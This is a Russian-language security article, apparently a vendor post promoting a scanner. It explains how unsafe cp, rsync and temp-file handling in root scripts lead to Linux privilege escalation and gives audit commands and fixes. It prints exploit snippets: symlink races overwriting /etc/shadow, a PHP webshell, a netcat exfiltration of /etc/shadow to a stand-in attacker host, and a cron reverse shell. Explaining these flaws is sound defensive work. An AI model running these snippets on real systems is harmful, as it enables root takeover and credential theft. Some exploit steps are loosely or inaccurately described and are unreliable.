
Copy2Fail: Небезопасное копирование = эскалация привилегий в Linux
Команда cp скрывает смертельные уязвимости. Гонки симлинков, TOCTOU и rsync-инъекции превращают копирование в root-доступ.
Кратко
- Symlink-гонка: замена цели ссылкой на /etc/shadow перед записью
- TOCTOU: подмена файла между проверкой и копированием — webshell
- Rsync wildcard: имена файлов становятся флагами rsync
- Перехват temp-файлов: предсказуемые /tmp имена для бэкдора
Что такое Copy2Fail?
Класс уязвимостей, где cp, rsync, install, mv эксплуатируются через гонки состояний, symlink-атаки и ошибки прав. Встречаются в cron, бэкапах, CI/CD. Один небезопасный cp от root = полная компрометация.
Как это работает
Файловые операции Linux НЕ атомарны. Между проверкой файла и копированием другой процесс может его подменить. Между созданием файла и записью атакующий может заменить его symlink-ом. Эти микроскопические окна — и есть уязвимость.
# Что ДОЛЖНО произойти:
cp source /tmp/destination
# Что ПРОИСХОДИТ на самом деле (окно гонки):
# 1. cp открывает /tmp/destination для записи
# 2. АТАКУЮЩИЙ: rm /tmp/destination && ln -s /etc/shadow /tmp/destination
# 3. cp пишет в /etc/shadow (следуя symlink!)Вы уязвимы? Проверьте сейчас
Найдите небезопасные паттерны на сервере:
# 1. Root cron-задачи с копированием в /tmp
sudo crontab -l | grep -i "cp.*tmp\|rsync.*tmp"
# 2. Скрипты с предсказуемыми temp-файлами (без mktemp)
grep -r "TMPFILE=\|/tmp/" /usr/local/bin/ /opt/ --include="*.sh" | grep -v mktemp
# 3. rsync с wildcards на пользовательских директориях
grep -r "rsync.*\*" /etc/cron* /usr/local/bin/ --include="*.sh"
# 4. Опции монтирования /tmp
mount | grep "/tmp"
# Если нет nosuid,nodev,noexec → /tmp открыт для атакЛюбой root-скрипт, копирующий в /tmp без mktemp — эксплуатируемый.
Эксплойт 1 — Symlink Race
Root-скрипт копирует файл в предсказуемый путь. Атакующий заменяет цель симлинком на /etc/shadow.
# Уязвимо: cp /var/app/config.bak /tmp/config_restore (от root)
while true; do
rm -f /tmp/config_restore
ln -s /etc/shadow /tmp/config_restore
done &
echo 'root:$6$salt$attackerhash:19000:0:99999:7:::' > /var/app/config.bak
# Cron срабатывает → пароль root перезаписанПолная компрометация от непривилегированного пользователя.
Эксплойт 2 — TOCTOU Race Condition
Скрипт проверяет файл, затем копирует. Между ними — подмена. Webshell развёрнут.
UPLOAD="/tmp/uploads/payload"
while true; do
echo "Hello" > "$UPLOAD"
sleep 0.001
echo '<?php system($_GET["c"]); ?>' > "$UPLOAD"
done &
# Проверка → "text" → копирование → webshell → RCEЭксплойт 3 — Rsync Wildcard Injection
Rsync с wildcards — имена файлов становятся флагами. Кража /etc/shadow или перезапись файлов.
cd /home/user/uploads/
touch -- '-e sh exploit.sh'
echo 'cat /etc/shadow | nc attacker.com 4444' > exploit.sh
# rsync -avz -e sh exploit.sh → эксфильтрацияИмена файлов как команды. Данные украдены.
Эксплойт 4 — Перехват temp-файлов
Скрипты с предсказуемыми /tmp именами. Симлинк заранее — root пишет куда скажет атакующий.
ln -sf /etc/cron.d/backdoor /tmp/install_setup.log
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > binary
# Root копирует → пишет в cron → реверс-шелл каждую минутуПостоянный root бэкдор.
Исправление
Не доверяйте путям. Атомарные операции:
TMPFILE=$(mktemp /tmp/myapp.XXXXXX)
trap 'rm -f "$TMPFILE"' EXIT
cp --no-dereference source "$TMPFILE"
rsync -avz -- /uploads/ backup:/backups/
mv "$TMPFILE" /final/pathmktemp + --no-dereference + атомарный mv = гонки устранены.
Сканируйте с TEPTEZ. Найдите это раньше атакующих.
TEPTEZ находит небезопасные файловые операции, symlink-уязвимости и гонки состояний в скриптах и cron-задачах. Попробуйте наш DAST AI — сканирует, находит и даёт готовое исправление.
Попробовать TEPTEZ